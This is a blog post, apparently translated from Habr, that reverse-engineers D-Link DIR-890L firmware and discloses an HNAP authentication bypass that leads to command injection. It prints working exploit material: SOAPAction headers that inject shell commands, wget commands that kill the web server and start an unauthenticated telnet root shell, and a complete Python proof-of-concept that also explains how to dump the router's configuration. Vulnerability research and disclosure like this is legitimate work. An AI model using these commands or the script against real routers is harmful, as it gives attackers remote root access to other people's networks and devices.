📜 ⬆️ ⬇️

We crack D-Link DIR-890L

The last 6 months, I was terribly busy and did not follow the new crap from D-Link. To have a little fun, I went to their website, and I was greeted by this nightmare:

Insane router
The craziest router D-Link DIR-890L for $ 300

Perhaps the most "insane" in the router is that it has been running all the same buggy firmware that D-Link has been putting into its routers for several years ... and the hits just keep on coming.

Well, let's do as usual - take the latest firmware version , go through it binwalk and see what we got:
')
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress 

It looks like a regular Linux firmware, and if you’ve looked into any D-Link firmware for the past few years, you can easily recall the directory structure:

 $ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www 

Everything related to HTTP, UPnP and HNAP is located in the htdocs directory. The most interesting file here is htdocs / cgibin - ELF-binary for ARM, which is executed by the webserver for, hmm, almost everything: all symlinks to CGI, UPnP and HNAP links lead to this file:

 $ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin 

He, of course, stripped, but in it there are many lines that will help us. First of all, main compares argv[0] with a list of symlink names known to it ( captcha.cgi , conntrack.cgi , etc.) to determine what action to perform:

staircase
Call graph, typical if / else cascade

Each comparison is made by calling strcmp on the well-known names of the symlinks:

image
Different functions of handlers of different symlinks

To simplify the comparison of handler functions and symlinks, rename them according to the symlink name:

image
Renamed handler functions

Now that we have the names of the functions, let's start looking for bugs. Other devices from D-Link, running exactly the same firmware, were previously cracked through HTTP and UPnP interfaces, however, no one really looked at the HNAP interface, which is processed by the hnap_main function in cgibin .

HNAP (Home Network Administration Protocol) is a SOAP-based protocol similar to UPnP, which is usually used by the utility for initial configuration of D-Link EZ routers. Unlike UPnP, all HNAP actions, except GetDeviceInfo (which is useless), require HTTP Basic authentication.

 POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body> </soap:Envelope> 

The SOAPAction header is very important in an HNAP request, because it is he who sets what action the server will perform (the AddPortMapping action in the example above).

Due to the fact that cgibin launched as a CGI application by the web server, hnap_main receives the data of the HNAP request, for example, the SOAPAction header, via environment variables:

image
SOAPAction = getenv (“HTTP_SOAPACTION”);

Toward the end of hnap_main , a shell command is generated by calling sprintf , which is then executed through the system :

image
sprintf (command, “sh% s% s.sh> / dev / console”, “/ var / run /”, SOAPAction);

Obviously, hnap_main uses data from the SOAPAction header within the system command! This bug gives hope, especially if the SOAPAction header is not escaped, and if we can get to this place without authentication.

At the beginning of hnap_main , it is checked whether the SOAPAction header is equal to the string purenetworks.com/HNAP1/GetDeviceSettings purenetworks.com/HNAP1/GetDeviceSettings , and if it is equal, authentication is skipped. This is expected, we have already noticed earlier that GetDeviceSettings does not require authentication:

image
if (strstr (SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”)! = NULL)

Note, however, that the strstr function is used for checking, which only checks for the presence of the string purenetworks.com/HNAP1/GetDeviceSettings purenetworks.com/HNAP1/GetDeviceSettings in the SOAPAction header, not equality to it.
So, if the SOAPAction header contains a substring purenetworks.com/HNAP1/GetDeviceSettings purenetworks.com/HNAP1/GetDeviceSettings , the function retrieves the name of the action (i.e. GetDeviceSettings ) from the header and removes double quotes:

image
SOAPAction = strrchr (SOAPAction, '/');

The name of the action ( GetDeviceSettings ) is GetDeviceSettings from the header, then it goes to the system , passing sprintf .
Here is a C code that demonstrates an error in logic:

 /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command); 

So, what we have learned from this:

We can easily form a SOAPAction header that will satisfy the authentication bypass and allow us to pass our string to the system :
 SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`" 

purenetworks.com/HNAP1/GetDeviceSettings purenetworks.com/HNAP1/GetDeviceSettings in the header allows us to bypass authentication, and the string `reboot` will be passed to the system
 system("sh /var/run/`reboot`.sh > /dev/console"); 

Replacing the reboot with telnetd we will start the telnet server without authentication:
 $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # 

We can send HNAP requests from the WAN if remote administration has been enabled. Of course, the firewall blocks all incoming connections to telnet from the WAN. The simplest solution is to kill the HTTP server and run telnetd on its port:
 $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # 

I will note that wget will hang waiting for an answer, since cgibin will wait for telnetd to complete. Here is a little Python PoC that makes everything a bit more comfortable:
 #!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexError except IndexError: print "Usage: %s <target ip:port>" % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit probably failed. :(" 

I checked this bug on firmware v1.00 and v1.03 (the last one at the time of this writing), and they are both vulnerable. But, as is usually the case with most vulnerabilities in embedded, this code has fallen into the firmware of other devices.

Analyzing all the firmware is quite tedious, so I passed the information about the bug to the Centrifuge team, which have the distinction of a utility for automatic analysis of such things. Centrifuge discovered this vulnerability in the following models:

As far as I know, HNAP cannot be disabled on these devices in any way.

UPDATE: It seems that at the beginning of the year the same bug was found by Samuel Huntly , but it was fixed only for DIR-645. Patch pretty bad, wait for his analysis in the next post.

Source: https://habr.com/ru/post/256451/


All Articles